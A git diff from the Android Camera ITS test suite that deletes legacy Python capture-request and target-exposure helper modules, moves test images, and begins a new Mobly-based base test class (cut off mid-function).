diff --git a/apps/CameraITS/pymodules/its/objects.py b/apps/CameraITS/pymodules/its/objects.py
deleted file mode 100644
index 3c39205..0000000
--- a/apps/CameraITS/pymodules/its/objects.py
+++ /dev/null
@@ -1,382 +0,0 @@
-# Copyright 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import math
-import unittest
-
-
-def int_to_rational(i):
-    """Function to convert Python integers to Camera2 rationals.
-
-    Args:
-        i: Python integer or list of integers.
-
-    Returns:
-        Python dictionary or list of dictionaries representing the given int(s)
-        as rationals with denominator=1.
-    """
-    if isinstance(i, list):
-        return [{"numerator":val, "denominator":1} for val in i]
-    else:
-        return {"numerator":i, "denominator":1}
-
-def float_to_rational(f, denom=128):
-    """Function to convert Python floats to Camera2 rationals.
-
-    Args:
-        f: Python float or list of floats.
-        denom: (Optonal) the denominator to use in the output rationals.
-
-    Returns:
-        Python dictionary or list of dictionaries representing the given
-        float(s) as rationals.
-    """
-    if isinstance(f, list):
-        return [{"numerator":math.floor(val*denom+0.5), "denominator":denom}
-                for val in f]
-    else:
-        return {"numerator":math.floor(f*denom+0.5), "denominator":denom}
-
-def rational_to_float(r):
-    """Function to convert Camera2 rational objects to Python floats.
-
-    Args:
-        r: Rational or list of rationals, as Python dictionaries.
-
-    Returns:
-        Float or list of floats.
-    """
-    if isinstance(r, list):
-        return [float(val["numerator"]) / float(val["denominator"])
-                for val in r]
-    else:
-        return float(r["numerator"]) / float(r["denominator"])
-
-def manual_capture_request(
-        sensitivity, exp_time, f_distance = 0.0, linear_tonemap=False, props=None):
-    """Return a capture request with everything set to manual.
-
-    Uses identity/unit color correction, and the default tonemap curve.
-    Optionally, the tonemap can be specified as being linear.
-
-    Args:
-        sensitivity: The sensitivity value to populate the request with.
-        exp_time: The exposure time, in nanoseconds, to populate the request
-            with.
-        f_distance: The focus distance to populate the request with.
-        linear_tonemap: [Optional] whether a linear tonemap should be used
-            in this request.
-        props: [Optional] the object returned from
-            its.device.get_camera_properties(). Must present when
-            linear_tonemap is True.
-
-    Returns:
-        The default manual capture request, ready to be passed to the
-        its.device.do_capture function.
-    """
-    req = {
-        "android.control.captureIntent": 6,
-        "android.control.mode": 0,
-        "android.control.aeMode": 0,
-        "android.control.awbMode": 0,
-        "android.control.afMode": 0,
-        "android.control.effectMode": 0,
-        "android.sensor.sensitivity": sensitivity,
-        "android.sensor.exposureTime": exp_time,
-        "android.colorCorrection.mode": 0,
-        "android.colorCorrection.transform":
-                int_to_rational([1,0,0, 0,1,0, 0,0,1]),
-        "android.colorCorrection.gains": [1,1,1,1],
-        "android.lens.focusDistance" : f_distance,
-        "android.tonemap.mode": 1,
-        "android.shading.mode": 1,
-        "android.lens.opticalStabilizationMode": 0
-        }
-    if linear_tonemap:
-        assert(props is not None)
-        #CONTRAST_CURVE mode
-        if 0 in props["android.tonemap.availableToneMapModes"]:
-            req["android.tonemap.mode"] = 0
-            req["android.tonemap.curve"] = {
-                "red": [0.0,0.0, 1.0,1.0],
-                "green": [0.0,0.0, 1.0,1.0],
-                "blue": [0.0,0.0, 1.0,1.0]}
-        #GAMMA_VALUE mode
-        elif 3 in props["android.tonemap.availableToneMapModes"]:
-            req["android.tonemap.mode"] = 3
-            req["android.tonemap.gamma"] = 1.0
-        else:
-            print "Linear tonemap is not supported"
-            assert(False)
-    return req
-
-def auto_capture_request():
-    """Return a capture request with everything set to auto.
-    """
-    return {
-        "android.control.mode": 1,
-        "android.control.aeMode": 1,
-        "android.control.awbMode": 1,
-        "android.control.afMode": 1,
-        "android.colorCorrection.mode": 1,
-        "android.tonemap.mode": 1,
-        "android.lens.opticalStabilizationMode": 0
-        }
-
-def fastest_auto_capture_request(props):
-    """Return an auto capture request for the fastest capture.
-
-    Args:
-        props: the object returned from its.device.get_camera_properties().
-
-    Returns:
-        A capture request with everything set to auto and all filters that
-            may slow down capture set to OFF or FAST if possible
-    """
-    req = auto_capture_request()
-    turn_slow_filters_off(props, req)
-
-    return req
-
-def get_available_output_sizes(fmt, props, max_size=None, match_ar_size=None):
-    """Return a sorted list of available output sizes for a given format.
-
-    Args:
-        fmt: the output format, as a string in
-            ["jpg", "yuv", "raw", "raw10", "raw12", "y8"].
-        props: the object returned from its.device.get_camera_properties().
-        max_size: (Optional) A (w,h) tuple.
-            Sizes larger than max_size (either w or h)  will be discarded.
-        match_ar_size: (Optional) A (w,h) tuple.
-            Sizes not matching the aspect ratio of match_ar_size will be
-            discarded.
-
-    Returns:
-        A sorted list of (w,h) tuples (sorted large-to-small).
-    """
-    AR_TOLERANCE = 0.03
-    fmt_codes = {"raw":0x20, "raw10":0x25, "raw12":0x26,"yuv":0x23,
-                 "jpg":0x100, "jpeg":0x100, "y8":0x20203859}
-    configs = props['android.scaler.streamConfigurationMap']\
-                   ['availableStreamConfigurations']
-    fmt_configs = [cfg for cfg in configs if cfg['format'] == fmt_codes[fmt]]
-    out_configs = [cfg for cfg in fmt_configs if cfg['input'] == False]
-    out_sizes = [(cfg['width'],cfg['height']) for cfg in out_configs]
-    if max_size:
-        out_sizes = [s for s in out_sizes if
-                s[0] <= max_size[0] and s[1] <= max_size[1]]
-    if match_ar_size:
-        ar = match_ar_size[0] / float(match_ar_size[1])
-        out_sizes = [s for s in out_sizes if
-                abs(ar - s[0] / float(s[1])) <= AR_TOLERANCE]
-    out_sizes.sort(reverse=True, key=lambda s: s[0]) # 1st pass, sort by width
-    out_sizes.sort(reverse=True, key=lambda s: s[0]*s[1]) # sort by area
-    return out_sizes
-
-def set_filter_off_or_fast_if_possible(props, req, available_modes, filter):
-    """Check and set controlKey to off or fast in req.
-
-    Args:
-        props: the object returned from its.device.get_camera_properties().
-        req: the input request. filter will be set to OFF or FAST if possible.
-        available_modes: the key to check available modes.
-        filter: the filter key
-
-    Returns:
-        Nothing.
-    """
-    if props.has_key(available_modes):
-        if 0 in props[available_modes]:
-            req[filter] = 0
-        elif 1 in props[available_modes]:
-            req[filter] = 1
-
-def turn_slow_filters_off(props, req):
-    """Turn filters that may slow FPS down to OFF or FAST in input request.
-
-    This function modifies the request argument, such that filters that may
-    reduce the frames-per-second throughput of the camera device will be set to
-    OFF or FAST if possible.
-
-    Args:
-        props: the object returned from its.device.get_camera_properties().
-        req: the input request.
-
-    Returns:
-        Nothing.
-    """
-    set_filter_off_or_fast_if_possible(props, req,
-        "android.noiseReduction.availableNoiseReductionModes",
-        "android.noiseReduction.mode")
-    set_filter_off_or_fast_if_possible(props, req,
-        "android.colorCorrection.availableAberrationModes",
-        "android.colorCorrection.aberrationMode")
-    if props.has_key("camera.characteristics.keys"):
-        chars_keys = props["camera.characteristics.keys"]
-        hot_pixel_modes = \
-                "android.hotPixel.availableHotPixelModes" in chars_keys
-        edge_modes = "android.edge.availableEdgeModes" in chars_keys
-    if props.has_key("camera.characteristics.requestKeys"):
-        req_keys = props["camera.characteristics.requestKeys"]
-        hot_pixel_mode = "android.hotPixel.mode" in req_keys
-        edge_mode = "android.edge.mode" in req_keys
-    if hot_pixel_modes and hot_pixel_mode:
-        set_filter_off_or_fast_if_possible(props, req,
-            "android.hotPixel.availableHotPixelModes",
-            "android.hotPixel.mode")
-    if edge_modes and edge_mode:
-        set_filter_off_or_fast_if_possible(props, req,
-            "android.edge.availableEdgeModes",
-            "android.edge.mode")
-
-def get_fastest_manual_capture_settings(props):
-    """Return a capture request and format spec for the fastest manual capture.
-
-    Args:
-        props: the object returned from its.device.get_camera_properties().
-
-    Returns:
-        Two values, the first is a capture request, and the second is an output
-        format specification, for the fastest possible (legal) capture that
-        can be performed on this device (with the smallest output size).
-    """
-    fmt = "yuv"
-    size = get_available_output_sizes(fmt, props)[-1]
-    out_spec = {"format":fmt, "width":size[0], "height":size[1]}
-    s = min(props['android.sensor.info.sensitivityRange'])
-    e = min(props['android.sensor.info.exposureTimeRange'])
-    req = manual_capture_request(s,e)
-
-    turn_slow_filters_off(props, req)
-
-    return req, out_spec
-
-def get_fastest_auto_capture_settings(props):
-    """Return a capture request and format spec for the fastest auto capture.
-
-    Args:
-        props: the object returned from its.device.get_camera_properties().
-
-    Returns:
-        Two values, the first is a capture request, and the second is an output
-        format specification, for the fastest possible (legal) capture that
-        can be performed on this device (with the smallest output size).
-    """
-    fmt = "yuv"
-    size = get_available_output_sizes(fmt, props)[-1]
-    out_spec = {"format":fmt, "width":size[0], "height":size[1]}
-    req = auto_capture_request()
-
-    turn_slow_filters_off(props, req)
-
-    return req, out_spec
-
-
-def get_smallest_yuv_format(props, match_ar=None):
-    """Return a capture request and format spec for the smallest yuv size.
-
-    Args:
-        props: the object returned from its.device.get_camera_properties().
-
-    Returns:
-        fmt:    an output format specification, for the smallest possible yuv
-        format for this device.
-    """
-    size = get_available_output_sizes("yuv", props, match_ar_size=match_ar)[-1]
-    fmt = {"format":"yuv", "width":size[0], "height":size[1]}
-
-    return fmt
-
-
-def get_largest_yuv_format(props, match_ar=None):
-    """Return a capture request and format spec for the largest yuv size.
-
-    Args:
-        props: the object returned from its.device.get_camera_properties().
-
-    Returns:
-        fmt:    an output format specification, for the largest possible yuv
-        format for this device.
-    """
-    size = get_available_output_sizes("yuv", props, match_ar_size=match_ar)[0]
-    fmt = {"format":"yuv", "width":size[0], "height":size[1]}
-
-    return fmt
-
-
-def get_largest_jpeg_format(props, match_ar=None):
-    """Return a capture request and format spec for the largest jpeg size.
-
-    Args:
-        props:    the object returned from its.device.get_camera_properties().
-        match_ar: aspect ratio to match
-
-    Returns:
-        fmt:      an output format specification, for the largest possible jpeg
-        format for this device.
-    """
-    size = get_available_output_sizes("jpeg", props, match_ar_size=match_ar)[0]
-    fmt = {"format": "jpeg", "width": size[0], "height": size[1]}
-
-    return fmt
-
-
-def get_max_digital_zoom(props):
-    """Returns the maximum amount of zooming possible by the camera device.
-
-    Args:
-        props: the object returned from its.device.get_camera_properties().
-
-    Return:
-        A float indicating the maximum amount of zooming possible by the
-        camera device.
-    """
-
-    maxz = 1.0
-
-    if props.has_key("android.scaler.availableMaxDigitalZoom"):
-        maxz = props["android.scaler.availableMaxDigitalZoom"]
-
-    return maxz
-
-
-class __UnitTest(unittest.TestCase):
-    """Run a suite of unit tests on this module.
-    """
-
-    def test_int_to_rational(self):
-        """Unit test for int_to_rational.
-        """
-        self.assertEqual(int_to_rational(10),
-                         {"numerator":10,"denominator":1})
-        self.assertEqual(int_to_rational([1,2]),
-                         [{"numerator":1,"denominator":1},
-                          {"numerator":2,"denominator":1}])
-
-    def test_float_to_rational(self):
-        """Unit test for float_to_rational.
-        """
-        self.assertEqual(float_to_rational(0.5001, 64),
-                        {"numerator":32, "denominator":64})
-
-    def test_rational_to_float(self):
-        """Unit test for rational_to_float.
-        """
-        self.assertTrue(
-                abs(rational_to_float({"numerator":32,"denominator":64})-0.5)
-                < 0.0001)
-
-if __name__ == '__main__':
-    unittest.main()
-
diff --git a/apps/CameraITS/pymodules/its/target.py b/apps/CameraITS/pymodules/its/target.py
deleted file mode 100644
index 8cf802c..0000000
--- a/apps/CameraITS/pymodules/its/target.py
+++ /dev/null
@@ -1,267 +0,0 @@
-# Copyright 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import its.device
-import its.image
-import its.objects
-import os
-import os.path
-import sys
-import json
-import unittest
-import json
-
-CACHE_FILENAME = "its.target.cfg"
-
-def __do_target_exposure_measurement(its_session):
-    """Use device 3A and captured shots to determine scene exposure.
-
-    Creates a new ITS device session (so this function should not be called
-    while another session to the device is open).
-
-    Assumes that the camera is pointed at a scene that is reasonably uniform
-    and reasonably lit -- that is, an appropriate target for running the ITS
-    tests that assume such uniformity.
-
-    Measures the scene using device 3A and then by taking a shot to hone in on
-    the exact exposure level that will result in a center 10% by 10% patch of
-    the scene having a intensity level of 0.5 (in the pixel range of [0,1])
-    when a linear tonemap is used. That is, the pixels coming off the sensor
-    should be at approximately 50% intensity (however note that it's actually
-    the luma value in the YUV image that is being targeted to 50%).
-
-    The computed exposure value is the product of the sensitivity (ISO) and
-    exposure time (ns) to achieve that sensor exposure level.
-
-    Args:
-        its_session: Holds an open device session.
-
-    Returns:
-        The measured product of sensitivity and exposure time that results in
-            the luma channel of captured shots having an intensity of 0.5.
-    """
-    print "Measuring target exposure"
-
-    # Get AE+AWB lock first, so the auto values in the capture result are
-    # populated properly.
-    r = [[0.45, 0.45, 0.1, 0.1, 1]]
-    sens, exp_time, gains, xform, _ \
-            = its_session.do_3a(r,r,r,do_af=False,get_results=True)
-
-    # Convert the transform to rational.
-    xform_rat = [{"numerator":int(100*x),"denominator":100} for x in xform]
-
-    # Linear tonemap
-    tmap = sum([[i/63.0,i/63.0] for i in range(64)], [])
-
-    # Capture a manual shot with this exposure, using a linear tonemap.
-    # Use the gains+transform returned by the AWB pass.
-    req = its.objects.manual_capture_request(sens, exp_time)
-    req["android.tonemap.mode"] = 0
-    req["android.tonemap.curve"] = {
-        "red": tmap, "green": tmap, "blue": tmap}
-    req["android.colorCorrection.transform"] = xform_rat
-    req["android.colorCorrection.gains"] = gains
-    cap = its_session.do_capture(req)
-
-    # Compute the mean luma of a center patch.
-    yimg,uimg,vimg = its.image.convert_capture_to_planes(cap)
-    tile = its.image.get_image_patch(yimg, 0.45, 0.45, 0.1, 0.1)
-    luma_mean = its.image.compute_image_means(tile)
-
-    # Compute the exposure value that would result in a luma of 0.5.
-    return sens * exp_time * 0.5 / luma_mean[0]
-
-def __set_cached_target_exposure(exposure):
-    """Saves the given exposure value to a cached location.
-
-    Once a value is cached, a call to __get_cached_target_exposure will return
-    the value, even from a subsequent test/script run. That is, the value is
-    persisted.
-
-    The value is persisted in a JSON file in the current directory (from which
-    the script calling this function is run).
-
-    Args:
-        exposure: The value to cache.
-    """
-    print "Setting cached target exposure"
-    with open(CACHE_FILENAME, "w") as f:
-        f.write(json.dumps({"exposure":exposure}))
-
-def __get_cached_target_exposure():
-    """Get the cached exposure value.
-
-    Returns:
-        The cached exposure value, or None if there is no valid cached value.
-    """
-    try:
-        with open(CACHE_FILENAME, "r") as f:
-            o = json.load(f)
-            return o["exposure"]
-    except:
-        return None
-
-def clear_cached_target_exposure():
-    """If there is a cached exposure value, clear it.
-    """
-    if os.path.isfile(CACHE_FILENAME):
-        os.remove(CACHE_FILENAME)
-
-def set_hardcoded_exposure(exposure):
-    """Set a hard-coded exposure value, rather than relying on measurements.
-
-    The exposure value is the product of sensitivity (ISO) and eposure time
-    (ns) that will result in a center-patch luma value of 0.5 (using a linear
-    tonemap) for the scene that the camera is pointing at.
-
-    If bringing up a new HAL implementation and the ability use the device to
-    measure the scene isn't there yet (e.g. device 3A doesn't work), then a
-    cache file of the appropriate name can be manually created and populated
-    with a hard-coded value using this function.
-
-    Args:
-        exposure: The hard-coded exposure value to set.
-    """
-    __set_cached_target_exposure(exposure)
-
-def get_target_exposure(its_session=None):
-    """Get the target exposure to use.
-
-    If there is a cached value and if the "target" command line parameter is
-    present, then return the cached value. Otherwise, measure a new value from
-    the scene, cache it, then return it.
-
-    Args:
-        its_session: Optional, holding an open device session.
-
-    Returns:
-        The target exposure value.
-    """
-    cached_exposure = None
-    for s in sys.argv[1:]:
-        if s == "target":
-            cached_exposure = __get_cached_target_exposure()
-    if cached_exposure is not None:
-        print "Using cached target exposure"
-        return cached_exposure
-    if its_session is None:
-        with its.device.ItsSession() as cam:
-            measured_exposure = __do_target_exposure_measurement(cam)
-    else:
-        measured_exposure = __do_target_exposure_measurement(its_session)
-    __set_cached_target_exposure(measured_exposure)
-    return measured_exposure
-
-def get_target_exposure_combos(its_session=None):
-    """Get a set of legal combinations of target (exposure time, sensitivity).
-
-    Gets the target exposure value, which is a product of sensitivity (ISO) and
-    exposure time, and returns equivalent tuples of (exposure time,sensitivity)
-    that are all legal and that correspond to the four extrema in this 2D param
-    space, as well as to two "middle" points.
-
-    Will open a device session if its_session is None.
-
-    Args:
-        its_session: Optional, holding an open device session.
-
-    Returns:
-        Object containing six legal (exposure time, sensitivity) tuples, keyed
-        by the following strings:
-            "minExposureTime"
-            "midExposureTime"
-            "maxExposureTime"
-            "minSensitivity"
-            "midSensitivity"
-            "maxSensitivity
-    """
-    if its_session is None:
-        with its.device.ItsSession() as cam:
-            exposure = get_target_exposure(cam)
-            props = cam.get_camera_properties()
-            props = cam.override_with_hidden_physical_camera_props(props)
-    else:
-        exposure = get_target_exposure(its_session)
-        props = its_session.get_camera_properties()
-        props = its_session.override_with_hidden_physical_camera_props(props)
-
-    sens_range = props['android.sensor.info.sensitivityRange']
-    exp_time_range = props['android.sensor.info.exposureTimeRange']
-
-    # Combo 1: smallest legal exposure time.
-    e1_expt = exp_time_range[0]
-    e1_sens = exposure / e1_expt
-    if e1_sens > sens_range[1]:
-        e1_sens = sens_range[1]
-        e1_expt = exposure / e1_sens
-
-    # Combo 2: largest legal exposure time.
-    e2_expt = exp_time_range[1]
-    e2_sens = exposure / e2_expt
-    if e2_sens < sens_range[0]:
-        e2_sens = sens_range[0]
-        e2_expt = exposure / e2_sens
-
-    # Combo 3: smallest legal sensitivity.
-    e3_sens = sens_range[0]
-    e3_expt = exposure / e3_sens
-    if e3_expt > exp_time_range[1]:
-        e3_expt = exp_time_range[1]
-        e3_sens = exposure / e3_expt
-
-    # Combo 4: largest legal sensitivity.
-    e4_sens = sens_range[1]
-    e4_expt = exposure / e4_sens
-    if e4_expt < exp_time_range[0]:
-        e4_expt = exp_time_range[0]
-        e4_sens = exposure / e4_expt
-
-    # Combo 5: middle exposure time.
-    e5_expt = (exp_time_range[0] + exp_time_range[1]) / 2.0
-    e5_sens = exposure / e5_expt
-    if e5_sens > sens_range[1]:
-        e5_sens = sens_range[1]
-        e5_expt = exposure / e5_sens
-    if e5_sens < sens_range[0]:
-        e5_sens = sens_range[0]
-        e5_expt = exposure / e5_sens
-
-    # Combo 6: middle sensitivity.
-    e6_sens = (sens_range[0] + sens_range[1]) / 2.0
-    e6_expt = exposure / e6_sens
-    if e6_expt > exp_time_range[1]:
-        e6_expt = exp_time_range[1]
-        e6_sens = exposure / e6_expt
-    if e6_expt < exp_time_range[0]:
-        e6_expt = exp_time_range[0]
-        e6_sens = exposure / e6_expt
-
-    return {
-        "minExposureTime" : (int(e1_expt), int(e1_sens)),
-        "maxExposureTime" : (int(e2_expt), int(e2_sens)),
-        "minSensitivity" : (int(e3_expt), int(e3_sens)),
-        "maxSensitivity" : (int(e4_expt), int(e4_sens)),
-        "midExposureTime" : (int(e5_expt), int(e5_sens)),
-        "midSensitivity" : (int(e6_expt), int(e6_sens))
-        }
-
-class __UnitTest(unittest.TestCase):
-    """Run a suite of unit tests on this module.
-    """
-    # TODO: Add some unit tests.
-
-if __name__ == '__main__':
-    unittest.main()
-
diff --git a/apps/CameraITS/pymodules/its/test_images/ISO12233.png b/apps/CameraITS/test_images/ISO12233.png
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/ISO12233.png
rename to apps/CameraITS/test_images/ISO12233.png
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal.jpg b/apps/CameraITS/test_images/rotated_chessboards/normal.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/normal.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_15_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/normal_15_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_15_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/normal_15_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_30_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/normal_30_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_30_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/normal_30_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_45_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/normal_45_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_45_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/normal_45_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_60_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/normal_60_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_60_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/normal_60_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_75_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/normal_75_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_75_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/normal_75_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_90_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/normal_90_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/normal_90_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/normal_90_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide.jpg b/apps/CameraITS/test_images/rotated_chessboards/wide.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/wide.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_15_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/wide_15_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_15_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/wide_15_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_30_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/wide_30_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_30_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/wide_30_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_45_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/wide_45_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_45_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/wide_45_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_60_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/wide_60_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_60_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/wide_60_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_75_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/wide_75_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_75_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/wide_75_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_90_ccw.jpg b/apps/CameraITS/test_images/rotated_chessboards/wide_90_ccw.jpg
similarity index 100%
rename from apps/CameraITS/pymodules/its/test_images/rotated_chessboards/wide_90_ccw.jpg
rename to apps/CameraITS/test_images/rotated_chessboards/wide_90_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS/tests/__init__.py b/apps/CameraITS/tests/__init__.py
new file mode 100644
index 0000000..317c4e6
--- /dev/null
+++ b/apps/CameraITS/tests/__init__.py
@@ -0,0 +1,13 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
diff --git a/apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf b/apps/CameraITS/tests/inprog/rolling_shutter_skew/RollingShutterSkew.pdf
similarity index 100%
rename from apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf
rename to apps/CameraITS/tests/inprog/rolling_shutter_skew/RollingShutterSkew.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py b/apps/CameraITS/tests/inprog/rolling_shutter_skew/test_rolling_shutter_skew.py
similarity index 100%
rename from apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py
rename to apps/CameraITS/tests/inprog/rolling_shutter_skew/test_rolling_shutter_skew.py
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
new file mode 100644
index 0000000..5e38005
--- /dev/null
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -0,0 +1,208 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import time
+
+from mobly import asserts
+from mobly import base_test
+from mobly import utils
+from mobly.controllers import android_device
+
+import its_session_utils
+
+ADAPTIVE_BRIGHTNESS_OFF = '0'
+TABLET_CMD_DELAY_SEC = 0.5  # found empirically
+TABLET_DIMMER_TIMEOUT_MS = 1800000  # this is max setting possible
+CTS_VERIFIER_PKG = 'com.android.cts.verifier'
+WAIT_TIME_SEC = 5
+SCROLLER_TIMEOUT_MS = 3000
+VALID_NUM_DEVICES = (1, 2)
+NOT_YET_MANDATED_ALL = 100
+
+# Not yet mandated tests ['test', first_api_level mandatory]
+# ie. ['test_test_patterns', 30] is MANDATED for first_api_level >= 30
+NOT_YET_MANDATED = {
+    'scene0': [['test_test_patterns', 30],
+               ['test_tonemap_curve', 30]],
+    'scene1_1': [['test_ae_precapture_trigger', 28],
+                 ['test_channel_saturation', 29]],
+    'scene1_2': [],
+    'scene2_a': [['test_jpeg_quality', 30]],
+    'scene2_b': [['test_auto_per_frame_control', NOT_YET_MANDATED_ALL]],
+    'scene2_c': [],
+    'scene2_d': [['test_num_faces', 30]],
+    'scene2_e': [['test_num_faces', 30], ['test_continuous_picture', 30]],
+    'scene3': [],
+    'scene4': [],
+    'scene5': [],
+    'scene6': [['test_zoom', 30]],
+    'sensor_fusion': [],
+    'scene_change': [['test_scene_change', 31]]
+}
+
+
+class ItsBaseTest(base_test.BaseTestClass):
+  """Base test for CameraITS tests.
+
+  Tests inherit from this class execute in the Camera ITS automation systems.
+  These systems consist of either:
+    1. a device under test (dut) and an external rotation controller
+    2. a device under test (dut) and one screen device(tablet)
+    3. a device under test (dut) and manual charts
+
+  Attributes:
+    dut: android_device.AndroidDevice, the device under test.
+    tablet: android_device.AndroidDevice, the tablet device used to display
+        scenes.
+  """
+
+  def setup_class(self):
+    devices = self.register_controller(android_device, min_number=1)
+    self.dut = devices[0]
+    self.camera = self.user_params['camera']
+    logging.debug('Camera_id: %s', self.camera)
+    if self.user_params.get('chart_distance'):
+      self.chart_distance = float(self.user_params['chart_distance'])
+      logging.debug('Chart distance: %s cm', self.chart_distance)
+    if self.user_params.get('chart_loc_arg'):
+      self.chart_loc_arg = self.user_params['chart_loc_arg']
+    else:
+      self.chart_loc_arg = ''
+    if self.user_params.get('debug_mode'):
+      self.debug_mode = True if self.user_params[
+          'debug_mode'] == 'True' else False
+    if self.user_params.get('scene'):
+      self.scene = self.user_params['scene']
+    camera_id_combo = self.parse_hidden_camera_id()
+    self.camera_id = camera_id_combo[0]
+    if len(camera_id_combo) == 2:
+      self.hidden_physical_id = camera_id_combo[1]
+    else:
+      self.hidden_physical_id = None
+
+    num_devices = len(devices)
+    if num_devices == 2:  # scenes [0,1,2,3,4,5,6]
+      try:
+        self.tablet = devices[1]
+        self.tablet_screen_brightness = self.user_params['brightness']
+      except KeyError:
+        logging.debug('Not all tablet arguments set.')
+    else:  # sensor_fusion or manual run
+      try:
+        self.fps = int(self.user_params['fps'])
+        img_size = self.user_params['img_size'].split(',')
